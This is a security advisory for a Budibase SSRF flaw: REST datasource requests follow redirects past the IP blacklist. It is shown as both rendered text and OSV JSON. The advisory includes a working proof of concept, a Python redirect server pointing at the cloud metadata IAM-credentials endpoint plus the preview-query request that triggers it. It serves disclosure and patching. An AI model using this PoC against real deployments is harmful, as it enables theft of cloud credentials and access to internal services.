GHSA-FGQV-JH4G-PVG2
Vulnerability from github – Published: 2026-05-15 17:53 – Updated: 2026-05-15 17:53Summary
The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (fetchWithBlacklist in packages/server/src/automations/steps/utils.ts) but the REST integration was missed.
Details
Vulnerable file: packages/server/src/integrations/rest.ts, lines 754-778
The _req() method checks the request URL against the IP blacklist at line 754, then calls fetch(url, input) at line 778. No redirect: "manual" option is set, so undici's fetch defaults to redirect: "follow", automatically following HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist.
// Line 754 — blacklist check on original URL only
if (await blacklist.isBlacklisted(url)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// Line 778 — fetch follows redirects, NO re-check on redirect target
response = await fetch(url, input)
The automation steps already implement the correct fix in packages/server/src/automations/steps/utils.ts (lines 100-136) via fetchWithBlacklist(), which sets redirect: "manual" and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.
Relevant prior fix commits on the automation side:
- 6cfa3bcca3 — "fix(server): enforce outbound blacklist in webhook automation steps"
- e7d47625be — "Fix automation webhook blacklist redirect bypass"
PoC
Step 1 — Set up a redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.
Step 3 — Preview a query:
POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>
{
"datasourceId": "<rest-datasource-id>",
"queryVerb": "read",
"fields": {
"path": "http://<attacker-ip>:8080/",
"queryString": "",
"headers": {},
"bodyType": "none",
"requestBody": ""
},
"parameters": [],
"transformer": "return data",
"name": "ssrf-test",
"schema": {}
}
Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:
{
"rows": [{
"couchdb": "Welcome",
"version": "3.3.3",
"uuid": "a84d3353128485a22973a759df2387bc"
}]
}
Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active.
Impact
- Cloud credential theft: On AWS/GCP/Azure instances, attacker accesses
169.254.169.254to steal IAM credentials or service account tokens. - Internal service access: CouchDB (
:4005), Redis (:6379), MinIO (:4004), and other internal services become accessible - Bypasses explicit security control: The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected.
- Already-known vulnerability class: This was previously identified and fixed in automation steps (commits
6cfa3bcca3,e7d47625be) but the REST datasource integration was not patched.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45715"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T17:53:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed.\n\n### Details\n\n**Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778\n\nThe `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: \"manual\"` option is set, so undici\u0027s fetch defaults to `redirect: \"follow\"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**.\n\n```typescript\n// Line 754 \u2014 blacklist check on original URL only\nif (await blacklist.isBlacklisted(url)) {\n throw new Error(\"URL is blocked or could not be resolved safely.\")\n}\n\n// Line 778 \u2014 fetch follows redirects, NO re-check on redirect target\nresponse = await fetch(url, input)\n```\n\nThe automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: \"manual\"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.\n\nRelevant prior fix commits on the automation side:\n- `6cfa3bcca3` \u2014 \"fix(server): enforce outbound blacklist in webhook automation steps\"\n- `e7d47625be` \u2014 \"Fix automation webhook blacklist redirect bypass\"\n\n### PoC\n\n**Step 1 \u2014 Set up a redirect server (attacker-controlled):**\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027)\n self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2 \u2014 As a Builder, create a REST datasource pointing to the attacker\u0027s server.**\n\n**Step 3 \u2014 Preview a query:**\n\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: \u003cbudibase-instance\u003e\nContent-Type: application/json\nCookie: \u003cbuilder-session\u003e\nx-budibase-app-id: \u003capp-id\u003e\n\n{\n \"datasourceId\": \"\u003crest-datasource-id\u003e\",\n \"queryVerb\": \"read\",\n \"fields\": {\n \"path\": \"http://\u003cattacker-ip\u003e:8080/\",\n \"queryString\": \"\",\n \"headers\": {},\n \"bodyType\": \"none\",\n \"requestBody\": \"\"\n },\n \"parameters\": [],\n \"transformer\": \"return data\",\n \"name\": \"ssrf-test\",\n \"schema\": {}\n}\n```\n\n**Step 4 \u2014 The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:**\n\n```json\n{\n \"rows\": [{\n \"couchdb\": \"Welcome\",\n \"version\": \"3.3.3\",\n \"uuid\": \"a84d3353128485a22973a759df2387bc\"\n }]\n}\n```\n\nTested and confirmed on Budibase v3.34.6 running locally with default blacklist active.\n\n### Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens.\n- **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible\n- **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access \u2014 only the redirect path is unprotected.\n- **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.",
"id": "GHSA-fgqv-jh4g-pvg2",
"modified": "2026-05-15T17:53:08Z",
"published": "2026-05-15T17:53:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fgqv-jh4g-pvg2"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.38.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.